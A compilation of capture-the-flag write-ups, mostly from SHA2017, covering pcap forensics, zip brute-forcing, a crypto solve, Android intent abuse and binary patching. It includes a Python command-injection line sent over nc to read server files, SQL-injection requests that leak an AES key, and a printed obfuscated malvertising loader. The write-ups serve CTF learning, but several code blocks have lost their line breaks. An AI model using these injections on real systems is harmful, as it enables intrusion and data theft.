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# Captured Mail## Challenge: We intercepted this mail message. Can you open the attachment?
With Wireshark:
That looks like Base 64 encoded text. Using an online base64 decoder:
We get a zip file that contains flag.txt```bash$- unzip decoded.zipArchive: decoded.zip inflating: flag.txt $- cat flag.txtCongratulations, the flag for this challenge is flag{1b5978777658baca99ce653af6fa596e}.``` |
# Zipfile One## Challenge: We received this zip file, but is asking for a password. All we know is that the password exists of 5 numbers, can you crack this password to get the hidden information?
The file is effectively a zip file that asks you for a password. I first wrote a script that creates a dictionary of possible passwords; all the numbers that contain only 5 digits.
```bash#!/bin/bash
i="9999"
while [ $i -lt 99999 ]doi=$[$i+1]echo $i >> dic.txtdone```I installed fcrackzip, `sudo apt-get install fcrackzip`.
And ran `fcrackzip -b -D -p dic.txt -u zipfileone.zip`
Which returns:```bash PASSWORD FOUND!!!!: pw == 42831 ```Unzip it and you are done!```bash$- unzip zipfileone.zipArchive: zipfileone.zip[zipfileone.zip] flag.txt password: $- cat flag.txt` flag{d6f56ae046bb241cc61f9d26f8e525d9}``` |
# Download## Challenge: We have a network capture of someone downloading something from the internet. Can you find what it is?
Using Wireshark to look through the network capure:
We can see there is a jpg file.
Download it and ta da!
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# Wanna Buy A Flag?## Challenge: Analyse this Network capure to get the flag.
To get the flag, we can open the .pcap with Wireshark and follow the TCP stream.
Then actually save you some time by `echo`ing the copied text into a file; like `echo "Copied text" > pastebin.txt`.
And finally, use `tr` with `-d` to delete newline characters:
```bash -$ cat pastebin.txt | tr -d '\n' Hello! Wanna buy a flag?Yes pleaseOk, but it will cost you some timeflag{f08574923ec9c9ffb47188e6edc1a20f}% ```
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# Location## Like in real estate, the web is all about location, location and _location_.
The third "location" is just a link to `http://location.stillhackinganyway.nl/`
I noticed that it was taking approximately 2 seconds to reload after clicking on that 'here' link.
In the Inspect interface, I was able to see what was actually happening during those seconds and took a screenshot. Putting those strings together and changing `%7b` and `%7d` for `{` and `}` will get the flag. |
```#!/bin/bashurl=http://location.stillhackinganyway.nl/flaflag=`cut -d / -f 4 <<< $url`#echo -n $flagflag1=$flagfor count in {1..9}do url=`curl -s $url | sed -n 's/.*href="\([^"]*\).*/\1/p'` flag=`cut -d / -f 4 <<< $url`# echo -n $flag flag1=$flag1$flagdoneurl_encoded="${flag1//+/ }"printf '%b\n' "${url_encoded//%/\\x}"``````# ./Location.shflag{f51cf5e7e1d003986acd2864139553a1}``` |
# Pasticciotto
![TravisCI] [](https://saythanks.io/to/peperunas)------------------![Pasticciotto]
# What is this?Pasticciotto is a virtual machine which can be used to obfuscate code. It was developed for the **PoliCTF 17** as a reversing challenge.
The key feature is its **opcode "shuffling"**: their actual values are determined by a password. (More in [`IMPLEMENTATION.md`](./IMPLEMENTATION.md))
I wanted to experiment with VM obfuscation since it was a topic that caught my attention while reversing challenges for various CTFs. So, I decided to write one **from scratch** in order to understand better how instruction set architectures are implemented!
The design and the implementation behind Pasticciotto are not state-of-the-art but hey, it works! :D
# Why "Pasticciotto"?In Italian, "Pasticciotto" has two meanings!
The first one is **"little mess"** which perfectly describes how I put up this project. The second one is a typical dessert from Southern Italy, Salento! It's filled with cream! Yum!
# Quick start
You can use `pasticciotto` in your own binary! It's easy to do!
## Assemble!Let's say you want to run this `C` code into `pasticciotto`:```cvoid main() { uint16_t i, a, b; a = 0; b = 0x10;
for (i = 0; i < b; i++) { a += b; } return;}```
It can be translated into this `pasticciotto`'s assembly snippet:```$ cat example.pstcdef main:movi r0, 0x0 # amovi r1, 0x10 # bmovi s1, 0x0 # iloop:addr r0, r1addi s1, 1cmpr s1, r1jpbi loopshit```Let's assemble it with key `HelloWorld`:```$ python3 assembler.py HelloWorld example.pstc example_assembled.pstc```
Now we are ready to embed the VM in a `.c` program:```c++#include "vm/vm.h"#include <fstream>#include <stdint.h>#include <stdio.h>#include <stdlib.h>
int main(int argc, char *argv[]) { /* In order to create the bytecode for pasticciotto, you can use the assembler in the assembler/ directory. You can include it with `xxd -i example_assembled.pstc` */ unsigned char example_assembled_pstc[] = { 0x32, 0x00, 0x00, 0x00, 0x32, 0x01, 0x10, 0x00, 0x32, 0x05, 0x00, 0x00, 0xaf, 0x01, 0xcf, 0x05, 0x01, 0x00, 0x8b, 0x51, 0xc5, 0x0c, 0x00, 0x0c }; unsigned int example_assembled_pstc_len = 24; unsigned char key[] = { 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x57, 0x6f, 0x72, 0x6c, 0x64, 0x0a };
puts("I should try to eat a pasticciotto...\n"); VM vm(key, example_assembled_pstc, example_assembled_pstc_len); vm.run(); return 0;}```That's it!
## Accessing to the VM's sections and registers
The VM **data / code / stack sections** are represented through the `VMAddrSpace` object. It is defined [here](vm/vmas.h). The **registers** are in a `uint16_t` array in the `VM` object defined [here](vm/vm.h).
```c++void foo() { // creating the VM with some code VM vm(key, code, codelen);
// accessing the data section printf("First data byte: 0x%x", VM.addrSpace()->getData()[0]); // accessing the code section printf("First code byte: 0x%x", VM.addrSpace()->getCode()[0]); // accessing the stack section printf("First stack byte: 0x%x", VM.addrSpace()->getStack()[0]); // accessing the IP register printf("The IP is: 0x%x", VM.regs(IP)); return;}```
# What about the challenge?You can find the client and the server under the `polictf/` directory. I have also written a small writeup. Check it out!
# Compiling
## Requisites
1. `CMake`
## Quick start
mkdir build cd build cmake .. # or, if you want debug info: # cmake -DPASTICCIOTTO_DEBUG=On .. make
## CMake targets
| Target name | Description || ----------------------- | -------------------------------------- || `pasticciotto-emulator` | Builds pasticciotto's emulator || `polictf` | Builds PoliCTF's client and server || `polictf-client` | Builds PoliCTF's client || `polictf-server` | Builds PoliCTF's server || `pasticciotto-tests` | Builds pasticciotto's test executable. |
If the `PASTICCIOTTO_DEBUG` flag is passed to `cmake` during the configuration phase, the targets will be compiled with debug symbols and additional debug information.
# Implementation detailsCheck out the file [IMPLEMENTATION.MD](./IMPLEMENTATION.md) to understand how the VM works and which operations it can do! Watch out for some spoilers if you haven't completed the challenge though!
# Contributions
I wanted to polish the VM even more but I haven't got the time to do it. There are rough edges for sure!
Any contribution is **very** welcome! Feel free to open issues and pull requests!
# License```Copyright 2017 Giulio De Pasquale
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.```[Pasticciotto]: ./res/pasticciotto.png[TravisCI]: https://travis-ci.org/peperunas/pasticciotto.svg?branch=master |
>"RSA is just math". And now, there is a cryptosystem that simpler than RSA, but, "Simple is the Best!"[simple.py](./simple.py) [pubkey.txt](./pubkey.txt) [enc.txt](./enc.txt)
Looking at [simple.py](./simple.py):```from Crypto.Util.number import *import randomfrom flag import FLAG
def generate(nbits): p = getPrime(nbits) q = getPrime(nbits) n = p * q * p g = random.randint(1, n) h = pow(g, n, n) return (n, g, h)
def encrypt(m, n, g, h): r = random.randint(1, n) c = pow(pow(g, m, n) * pow(h, r, n), 1, n) return c
m = [ord(char) for char in FLAG]n, g, h = generate(90)open("pubkey.txt", "w").write("{0}:{1}:{2}".format(n, g, h))
c = [encrypt(mi, n, g, h) for mi in m]open("enc.txt", "w").write(str(c))```We see that our `n` is generated as `p^2*q`, where `p` and `q` are 90 bit primes. 90 bits is a little too difficult to use regular attacks on, so we have to look at another avenue. Our `c` is calculated as follows:
`c = (g^m mod n) * (h^r mod n) mod n`
We can just rewrite this as
`c = (g^m) * (h^r) mod n`
We are also given the `n`, `g`, and `h` values as:```n = 1235280093599323856390922798440377476467763531842392869674688408727824382702235317g = 1110549711091392805024587195974719739929628997819528005374351081843256209971586072h = 610466084395822279908554174354632326166097007218620288020807622478449585661028278```We can use [FactorDB](http://factordb.com/index.php?query=1235280093599323856390922798440377476467763531842392869674688408727824382702235317) to factor our `n` value and get the `p` and `q` values. So `p` and `q` are as follows:```p = 1057817919251064684989791981q = 1103935256393984899021164397```Now we are given in the question that this custom cryptosystem is simpler than RSA, but it does look similar to it. Specifically in RSA, it uses a public exponent (e) and a private exponent (d), and encryption is defined as `c = m^e mod n` and decryption is defined as `m = c^d mod n`, where `m` is our message and `c` is our ciphertext and `n` is our modulus. Normally you're only given `n` and `e`, but if you know the factors of `n`, then you figure out the value of `d`. This is because `e` and `d` are normally chosen so that `ed = 1 mod (totient(n))`.
Now the totient of a number `n` is defined as the number of positive integers less than or equal to `n` that are co-prime to `n`. It was further proven by Euler that if `p` is prime and `k` is greater than or equal to 1, then `totient(p^k) = p^k(1 - 1/p)` and that if `n = p * q`, where `p` and `q` are primes, then `totient(n) = totient(p) * totient(q)`. Now with our example, we know that `n = p^2 * q` and we know the values of `n`, `p`, and `q`. So the `totient(n) = totient(p^2) * totient(q) = (p^2(1 - 1/p)) * (q(1 - 1/q)) = p * (p - 1) * (q - 1)`.
So what do we do with the `totient(n)`? Well according to [Euler's Theorem](https://en.wikipedia.org/wiki/Euler%27s_theorem), `a^totient(n) = 1 mod n`, given that `a` and `n` are co-prime. However, we see that `g`, `h` and all of the `c` values are all co-prime to `n`, so if we raise both sides of our `c = (g^m) * (h^r) mod n` equation to the power of `totient(n)`, we will just get `1 = 1 * 1 mod n`, which doesn't help. However, [further research](http://home.scarlet.be/math/congr.htm#The-smallest-solutio) reveals that the smallest solution for `x` to `a^x = 1 mod n` may not be `totient(n)`.
We want to find a smaller solution, so let's assume that `x` is less than or equal to our `totient(n)` Starting with `a^totient(n) = 1 mod n`, we express `totient(n) = q * x + r`, so `q` is the quotient and `r` is the remainder (r < x). So `1 = a^(totient(n)) mod n = a^(q * x + r) mod n = 1 * a^r mod n = a^r mod n`. We know that r < x, so the only solution is `r = 0`, so that means `totient(n) = q * x`, so that means the smallest solution to `a^x = 1 mod n` is a divisor of `totient(n)`. Note that this includes `totient(n)`, and this value is related to the [Carmichael function](https://en.wikipedia.org/wiki/Carmichael_function).
So we can test the divisors of our `totient(n) = p * (p - 1) * (q - 1)` and see which ones gives us useful information. The plan is to get a divisor so that `h^r` raised to the power of that divisor is 1 and we can remove that from the our equation but the other two values aren't 1. We see that using `(p - 1) * (q - 1)` accomplishes this.
Basically `h^r` raised to the power of `(p - 1) * (q - 1)` or `h^(r * (p - 1) * (q - 1))` equals 1 no matter what value `r` is because `h^((p - 1) * (q - 1))` equals 1, and 1 to the power of anything is still 1. If we raise our `c` and `g` to the power of `(p - 1) * (q - 1)` however, we don't get 1.
From our original equation:
`c = (g^m) * (h^r) mod n`
We raise both sides to the power of `(p - 1) * (q - 1)`
`c^((p - 1) * (q - 1)) = g^(m * (p - 1) * (q - 1)) * h^(r * (p - 1) * (q - 1)) mod n`
As we stated above `h^(r * (p - 1) * (q - 1)) = 1 mod n` so our equation is now
`c^((p - 1) * (q - 1)) = g^(m * (p - 1) * (q - 1)) mod n`
Now we can just brute force through the possible values of `m` (since `m` is a character of our flag, it's in between 0 and 255 inclusive) and check when `c^((p - 1) * (q - 1)) == g^(m * (p - 1) * (q - 1)) mod n`. The following script accomplishes this:```n = 1235280093599323856390922798440377476467763531842392869674688408727824382702235317g = 1110549711091392805024587195974719739929628997819528005374351081843256209971586072h = 610466084395822279908554174354632326166097007218620288020807622478449585661028278p = 1057817919251064684989791981q = 1103935256393984899021164397phi = p*(p-1)*(q-1);tphi = (p-1)*(q-1);cs = [1042684026433440609442082085056733059350277230855631475910449335289565957026925888L, 337451979363258259789969117391527857381178461709773977486124377788140579446959643L, 955044246855117318302069848746627916980637349888954523552188603828273408620783185L, 565084528151941455613387670829541401837686258558304725363697970401158298304784226L, 1217257199494998716855441753878986048959547533911751395319106679987808998530722005L, 500431401136979664818320806505265313829298163109190333815615071157569573408761776L, 918364738570517634370611128928418073524271175997413722821007998543195365584145047L, 1231818404429995719463458343454764290314747233553619629902141039984717307144020885L, 578663363706556074852662555903558050626510818844939214634690712022753850484044077L, 170573141141793020278685561667014942396340687197982787584671361315770701412232820L, 525046404028002961161648698133126471909762913783905233407759137018767422695415644L, 548918541683229869313458652944252600295112072416629330975730507209045241266103104L, 1097888538672145356012505481951969976746432194049237781078685846091302406138295450L, 467055824810727038529002950991149449402485370247343520114443047715384113252663243L, 379325228947504950566222318955652420189554769276755237788381017120582088704791796L, 808135517143354496893964869359259307455178022544381266003759602027195395780858971L, 232206696206622845104449934990777760916638497611027428059484100417419468488368534L, 611231502156630905749534239244947175924425232566020566839692916151929122262556160L, 266317680779170923895607136980535234290396471711461778811550899033797067803838490L, 458442169696983024890517742499158555610082173984048562536247204694360339657234325L, 173156860778775111311074302992389403207838028758953619505920477407616091727957249L, 327701451317276442403593523928518039719286029867533592333080575014882858204660392L, 1061889651976594791626195662010361995350291121541576461530446716234559629390059206L, 501107468516571472868902583880130438298825499145194993732906902954639206415408661L, 793462123972295663612808938124574874398657924694272939619742740367249265250881187L, 419580729971386599858472445685002497860174205402938481254320715563201540618526181L, 1095670842511297949652166375966107611580541850315423104099581710112461928501516645L, 1207404101728741308518114885496775915613418535791624006547396431596035842097919854L, 63257756791404477719948396035346460877053804738003821615924989712602434088623116L, 709743404772556668186521811311910146690879578711491970215935941312652194503904278L, 472145667401895260338686064243470672627707713552548730414485106260542589178719305L, 671679182553553455773258809387401495029229971280677124071355178172582087439182089L, 795683594959663064302728712706823881033923895027131034114737749301583410828859935L, 788511687111620345727088836755516496428115065618134997006646145097528302404655271L, 493455498376449391174132961453557751413575238351804592824587799692504725075730030L, 1071336432168555760392522471606603558083343440707490972056560901765084761996537479L, 76414279730707452882500835328589558586805800097281864786868179845530554318636818L, 1026789233929477564953495880177610952920067780854127113113934470636602509593246257L, 1220456099417710433363957577456670914480321272794999438920511570648408214807875401L, 831001855794529333359541390744984608592774868529241373516540331083225538929223854L, 406700540669900202178972508513521627652422698239818055618399192500676530118703988L, 535793870780869641948563592689023912632863260901941937211057060307409713921739965L, 908165522898293977370960880692560887898587015153655232763363739940417879927826149L, 916463042698051909403902218425035797085521743060997736870228165259059940402603712L, 1124064575055728289901493663250187815236366261544380516480084011806758657972869579L, 302544873761485689612490183241038411927316560916804219683347601892406383914571353L, 326809752614724517585542018284901481393260541798889339649409227233748588383860516L, 828292723696438834080952146252731883891295126479141546958923438287859173086057154L, 835877660712133206131980242990809426528248997858916518574414436451562226433887025L, 145587585798997332370407645289128453608803108424500991984349925153212212859373727L, 463948250139563696175107900326108271430940645044009515704115508942300583165355378L, 944242052057563352409261236875599145504153562928055236566287627433096232314943101L, 579193856270128178962709647899702648998261560149392089962175236519890756116448359L, 1167987057311285845643231967769257342900085143163437221731184706561190379437889873L]flag = '';
for c in cs: temp = pow(c, tphi, n); for f in xrange(256): if temp == pow(g, f*tphi, n): flag += chr(f);
print flag;```Running the script we get our flag: `MeePwnCTF{well_is_fact0rizati0n_0nly_w4y_to_s0lve_it?}` |
```root@64bits:/home/page2me# curl http://vod.stillhackinganyway.nl/
<html lang="en"> <head> <meta charset="utf-8"> <title>The name is Kanockers. Vod Kanockers</title> </head> <body> </body></html>``````# cat VodKanockers.sh#!/bin/bash#for port in 88 156 983 1287 8743 5622 9123do text=`nc vod.stillhackinganyway.nl $port`doneecho $text``````# ./VodKanockers.shvod.stillhackinganyway.nl [34.249.81.124] 88 (kerberos) : Connection refusedvod.stillhackinganyway.nl [34.249.81.124] 156 (?) : Connection refusedvod.stillhackinganyway.nl [34.249.81.124] 983 (?) : Connection refusedvod.stillhackinganyway.nl [34.249.81.124] 1287 (?) : Connection refusedvod.stillhackinganyway.nl [34.249.81.124] 8743 (?) : Connection refusedvod.stillhackinganyway.nl [34.249.81.124] 5622 (?) : Connection refusedflag{6283a3856ce4766d88c475668837184b}``` |
```# cat small.sh#!/bin/bashcmd="__import__('os').system('cat /home/small/*')"echo `echo $cmd | nc small.stillhackinganyway.nl 1337````
```# ./small.shNumber: flag{69b5a247b9cd52ac97de7cc94994083e} print "HACK "*input("Number: ")``` |
SECUINSIDE CTF Quals 2017 Web - MYGF
Sql-Injection part on line 137, where bypass regexp (newline) on line 129.But we can’t access to `aeskey` database. It do select on line 134, put key into php-variable and close database.But variable used in query on 139 line
```127 else if($page == "read"){128 $col = addslashes($_GET['col']);129 $col = preg_match("/^no$/ismU",$col) ? $col : "";130 $no = addslashes($_GET['no']);131 $no = preg_replace("/[^0-9]*/s", "", $no);132 include "dbconn.php";133 dbconnect("aeskey");134 $aeskey = mysql_fetch_array(mysql_query("select * from aeskey where boardno='{$no}'"));135 mysql_close($db);136 dbconnect("board");137 $r = mysql_fetch_array(mysql_query("select * from board where {$col}='{$no}'"));138 echo "<h3>Read</h3>Subject : ".$r['subject']."Content : ";139 $contentdec = mysql_fetch_array(mysql_query("select *,aes_decrypt(unhex(content),unhex('".$aeskey['aeskey']."')) 140 as plain from(select * from board.board join member.members) as a where no='".$no."'"));141 if($aeskey['useridx'] !== $_SESSION['idx']) exit("<font color=red>No Hack dude!</font>");142 echo nl2br($contentdec['plain'])."";143 }144 else{```
Subject : ".$r['subject']."
Content : ";139 $contentdec = mysql_fetch_array(mysql_query("select *,aes_decrypt(unhex(content),unhex('".$aeskey['aeskey']."')) 140 as plain from(select * from board.board join member.members) as a where no='".$no."'"));141 if($aeskey['useridx'] !== $_SESSION['idx']) exit("<font color=red>No Hack dude!</font>");142 echo nl2br($contentdec['plain'])."
We can leak it from `information_schema.processlist` race condition.Let’s spam vector GET /da53dfbdfc8c4abce4452cc441298081/?page=read&col=no%0A=-9+union+select+1,(select+INFO+from+information_schema.processlist+where+INFO+like+0x256465637279707425),3,4+from+board--+-&no=1 HTTP/1.1 in Burp Intruder.```<h3>Read</h3>Subject : select *,aes_decrypt(unhex(content),unhex('f275dcc662617b4a5d312423bfd57416c9de5a94')) as plain from(select * from board.board join member.members) as a where no='1'Content : <font color=red>No Hack dude!</font>```Now useGET /da53dfbdfc8c4abce4452cc441298081/?page=read&col=no%0A=-9+union+select+1,aes_decrypt(unhex(content),unhex(0x66323735646363363632363137623461356433313234323362666435373431366339646535613934)),3,4+from+board--+-&no=1 HTTP/1.1Host: 13.124.128.134 And get flag.
Subject : select *,aes_decrypt(unhex(content),unhex('f275dcc662617b4a5d312423bfd57416c9de5a94')) as plain from(select * from board.board join member.members) as a where no='1'
Content : <font color=red>No Hack dude!</font>```Now useGET /da53dfbdfc8c4abce4452cc441298081/?page=read&col=no%0A=-9+union+select+1,aes_decrypt(unhex(content),unhex(0x66323735646363363632363137623461356433313234323362666435373431366339646535613934)),3,4+from+board--+-&no=1 HTTP/1.1Host: 13.124.128.134 And get flag. |
```# cat Rotation.sh#!/bin/bashtext="Ykksy eua ckxk ghrk zu mkz znk zkdz hgiq. Znk lrgm oy lrgm{30j3g1gg0ijg9l08ijlg52668hi6854g}"alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"rot=46encode=`sed "y/${alpha}/${alpha:$rot}${alpha::$rot}/" <<< $text`echo $encode``````# ./Rotation.shSeems YoU Were able to get the teXt back. The flag is flag{30d3a1aa0cda9f08cdfa52668bc6854a}``` |
[https://infosec.rm-it.de/2017/08/07/sha2017-ctf-network-300-abuse-mail-challenge/](https://infosec.rm-it.de/2017/08/07/sha2017-ctf-network-300-abuse-mail-challenge/) |
# FindTheFlag## Challenge: There is a flag hidden in this binary. Can you find it?
`strings` will output only the human readable characters:```bash -$ strings findtheflag | grep flag flag{b760866fa6f035548be127b7525dbb66} There is a flag hidden in this binary. Can you find it? findtheflag.c``` |
```# curl -A "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)" -q http://oldschool.stillhackinganyway.nl/Welcome in the old days. The flag is flag{f374df6554c7c6a6fced10396c84baf6}``` |
[](ctf=trend-micro-ctf-2017)[](type=analysis,reverse)[](tags=android)[](tools=jd-gui,dex2jar)[](techniques=bruteforce)
# analysis-offensive 300
*Disclaimer : This is not the smart way to do this, but its easy if you have an android development setup.*
So we have an apk file.```bash$ file TrendGacha.apkTrendGacha.apk: Zip archive data, at least v2.0 to extract$ unzip -qq TrendGacha.apk -d TrendGacha$ ls TrendGachaAndroidManifest.xml classes.dex lib META-INF res resources.arsc$ cd TrendGacha$ ~/tools/dex2jar/d2j-dex2jar.sh classes.dexdex2jar classes.dex -> ./classes-dex2jar.jar```
I also installed the apk on a device to test it.
The functions are quite simple. When you click on `GET GACHA!` it'll choose a character of the flag and give it to you. All your leaked chars can then be seen later in the `HISTORY`.
Looking in the output of jd-gui on the jar. The code for `GET GACHA!`.
```javapublic void run() { Intent localIntent = new Intent("com.tm.ctf.trendgacha.GET_GACHA"); if (a.N() == null) { a.b(a.this.i().getApplicationContext()); } a.N().sendBroadcast(localIntent); a.a(a.this, true); }```So the button sends a com.tm.ctf.trendgacha.GET_GACHA intent via broadcast which is then handled by GachaBroadcastReceiver.
```javapublic void onReceive(Context paramContext, Intent paramIntent) { Log.i(a, "onReceive: action=" + paramIntent.getAction()); if (!paramIntent.getAction().equals("com.tm.ctf.trendgacha.GET_GACHA")) { return; } paramIntent = paramIntent.getExtras(); if (paramIntent != null) {} for (int i = Integer.valueOf(paramIntent.getString("TryLoop", "1")).intValue();; i = 1) { for (int j = 0; j < i; j++) { d.b(paramContext.getApplicationContext()); int n = d.a(paramContext.getApplicationContext()); paramIntent = GachaAPI.getGacha(n); int k = paramIntent[0]; char c1 = (char)paramIntent[1]; d.a(paramContext.getApplicationContext(), k, c1); int m = d.b(paramContext.getApplicationContext(), k, c1); Log.i(a, "TrialCount: " + n + ", Order: " + k + ", Gacha: " + c1 + ", Count: " + m); paramIntent = c.iterator(); while (paramIntent.hasNext()) { ((b)paramIntent.next()).b_(); } Toast.makeText(paramContext, "Got \"" + k + "-" + c1 + "\" !", 0).show(); if (n < 10) { Toast.makeText(paramContext, "Check History!", 0).show(); } } break; } }}```This will leak a byte of the flag. We also see a variable `TryLoop` which will repeat the leak `TryLoop` times. Whenever we press the `GET GACHA!` button `TRIAL_COUNT` is increased in the SharedPreferences. The `GachaAPI.getGacha` is called on the value of `TRIAL_COUNT`. Its good that we can broadcast intents via adb so that we can set `TRIAL_COUNT` to a very high value.
```bash$ adb shell am broadcast -a com.tm.ctf.trendgacha.GET_GACHA -e TryLoop 100Broadcasting: Intent { act=com.tm.ctf.trendgacha.GET_GACHA (has extras) }Broadcast completed: result=0```Hoever this only leaks a few bytes of the flag which we can view in History. I tried to set the number to 10000 and more but the process was slow and I got bored.
Looking into the source of `GachaAPI.getGacha` we see that it loads a native library.
```javapackage com.tm.ctf.trendgacha;
public class GachaAPI{ static { System.loadLibrary("native-lib"); }
public static native int[] getGacha(int paramInt);}```If only I could run `getGacha` with my parameters. I never did much development in Android, so I downloaded Android Studio, added `com.tm.ctf.trendgacha` in a sample app from the decompiled source and added the jniLibs to include `native-lib`. I added the following code in an activity to retrieve and save the flag to a file.
```javaprotected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_card_view); Log.i(TAG,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); int i = 1; for(i = 1 ; i < 1000000 ; ++i){ int[] x = GachaAPI.getGacha(i); appendLog("Result : " +(char)x[1] + " : " + Arrays.toString(x) ); } }```This succesfully gave me the flag. Just later I realized that I could have controlled the parameter to `GachaAPI.getGacha` from the `TRIAL_COUNT` in SharedPreferences. SharedPreferences are usually saved in XML format in /data/data/< appname >/shared_prefs/*.xml. But we need root on the device to pull and push these files. So to test this I set up a new AVD (already rooted!) and installed the app.
```bash$ ~/Android/Sdk/platform-tools/adb pull /data/data/com.tm.ctf.trendgacha/shared_prefs/PREFERENCES.xml/data/data/com.tm.ctf.trendgacha/shared_... pulled. 0.2 MB/s (1892 bytes in 0.009s)```In PREFERENCES.xml I increased the `TRIAL_COUNT`.```xml<int name="TRIAL_COUNT" value="3000863" />```And then pushed it back and restarted the application.```bash$ ~/Android/Sdk/platform-tools/adb push PREFERENCES.xml /data/data/com.tm.ctf.trendgacha/shared_prefs/PREFERENCES.xmlPREFERENCES.xml: 1 file pushed. 0.2 MB/s (1893 bytes in 0.009s)$ ~/Android/Sdk/platform-tools/adb shell am broadcast -a com.tm.ctf.trendgacha.GET_GACHA -e TryLoop 100Broadcasting: Intent { act=com.tm.ctf.trendgacha.GET_GACHA (has extras) }Broadcast completed: result=0```
This will give us the flag.
 |
# Malware Testrun`200pts` `131 solves` `Network`
-----
* *@author*: derbenoo * *@note*: The original write-up is located here: [derbenoo.github.io/ctf/2017/08/08/sha2017_ctf_malware_testrun/](https://derbenoo.github.io/ctf/2017/08/08/sha2017_ctf_malware_testrun/)
-----
## Challenge Description
We heard a rumour that our website will be used to distribute malware. We believe we captured a test run of it. Can you find out what the malicious content will be?
`malwaretestrun.tgz 53eff0e472db7ecfdd9a9534d3b05098`
## Overview
The provided archive file contains the `malware-testrun.pcap` file which we extract and open in Wireshark. It looks like an HTTP request for the website `http://obamamemes.com` was recorded with all subsequent requests the browser performed to fetch the referenced resources (pictures, CSS & Javascript files). We use Wireshark's `File -> Export Objects -> HTTP` dialog to dump all resources into a folder and have a closer look. We reconstruct the folder structure of the webserver and have a look at the index.html (named '/' by Wireshark):
After enjoying some premium quality Obama memes (where is Biden though???), we turn our focus to the advertisements that are displayed on the page. We inspect the ads.html file and quickly figure out that there is some shady Javascript magic going on:
``` Javascript
<script type="text/javascript"> eval(atob(document.images[0].src.replace(/.*,/, "")));```
## De-obfuscating the first layer
So the source of the picture, which is base64 encoded data, is decoded and the resulting string is fed into an `eval()` call. We decode the data ourselves and find some compressed Javascript:
``` Javascriptz="";function v(b){s='';for(i=0,l=b.length;i<l;i+=8){c=0;for(j=7;j>=0;j-=1){c+=b[i+7-j]<<j;}s+=String.fromCharCode(c);}return s;}function d(img){i=0;l=img.length;st=[];while(i<l){st[i]= img[i*4]&1;i+=1;}return v(st);}function f(){w=i.naturalWidth;h=i.naturalHeight;c=document.createElement("canvas");x=c.getContext("2d");c.width=w;c.height=h;x.drawImage(i,0,0,w,h);t=d(x.getImageData(0,0,w,h).data);if(t=t.match(/SHA.*SHA/)){z+=t[0].replace(/SHA/g,'');}};function q(){i=new Image();i.addEventListener('load',f,false);i.src="notit.png"}setTimeout(q,1000);function a(){eval(z)}setTimeout(a,200000)```
We use _jsbeatuifier.org_ to make the code more readable and replace the Javascript of the ads.html with the extracted one. After some analysis, we figure out that the script performs the following steps:* After one second, create an image with the source `notit.png` and execute function `f()` when the image has been loaded* `f()` creates a canvas, transfers the loaded image's data onto the canvas and then performs some weird operations on those data to transform them to a string.* If the extracted string contains the keywords 'SHA', it extracts everything between the two occurrences and adds it to the variable `z`* After a huge timeout, call `eval(z)`
By now it is pretty clear what we have to do, replace the `eval(z)` call with `console.log(z)` and set the huge timeout to something reasonable like 2 seconds. We let the script run and check our console output. At this point, we have to switch to Firefox because Chrome is very smart and prevents the script from running:
> Uncaught DOMException: Failed to execute 'getImageData' on 'CanvasRenderingContext2D': The canvas has been tainted by cross-origin data.
Cool stuff, anyways let's check what the script does when being executed:``` Javascriptalert('Sorry, wrong image file!');```
## De-obfuscating the second layer
So the script is working but we got the wrong image file, so we simply try all other images by replacing `i.src = "notit.png"` with the appropriate path and see whether anything useful is being parsed out of the image. We start with the `ad00_.png` files as they are also PNG files, the script was located in the ads.html file and we suspect the theme of the challenge to be malvertising. Indeed, the `ad001.png` actually contains something:
```(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+ ... )[+!+[]+[+[]]]+(+```
Good old [jsfuck](https://github.com/aemkei/jsfuck/blob/master/jsfuck.js). We notice however that the end of the string is not properly terminated, it looks like there is a second part! Indeed, `ad002.png` and `ad003.png` also contain jsfuck code. We suspect that we have to chain them all together to get the full deal, so we write a for loop around the string extraction:``` Javascriptfor(index= 0; index< 8; index++){ function q(image_file) { i = new Image(); i.addEventListener('load', f, false); console.log("image file: "+image_file); i.src = image_file } setTimeout(q, 1000+1000*index, "images/ad00"+index+".png");
function a() { console.log("EVAL: "+z); }}setTimeout(a, 10000);```
The script runs through and prints valid jsfuck code into the console! We quickly head over to _jsfuck.com_, copy paste the code into the text area, **turn off the 'Eval Source' checkbox** and click "Run This". A nice alert box appears that contains our flag:```"x=new Date();if(x.getDate()=="23"&&x.getHours()=="12"){alert("flag{02aa1488771e325eef9b0e5f0d2db626}")}"```
Nice, here's our flag: `flag{02aa1488771e325eef9b0e5f0d2db626}` |
```# objdump -D ./Jumparound > Jumparound.txt``````open Jumparound.txt in Notepad++in main @400639: jne 400647 <main+0x21> found and @400647: mov $0x0,%eax foundand @40064c: callq 400546 <print_flag> foundopen Jumparound in Frhed then edit data @ 0x639 from 0x75(jne) to 0xeb (jmp)``````# ./Jumparound-400639-75toEBWell done jumping, the flag is flag{f525a6abd58ce9488f3c90904149145d}``` |
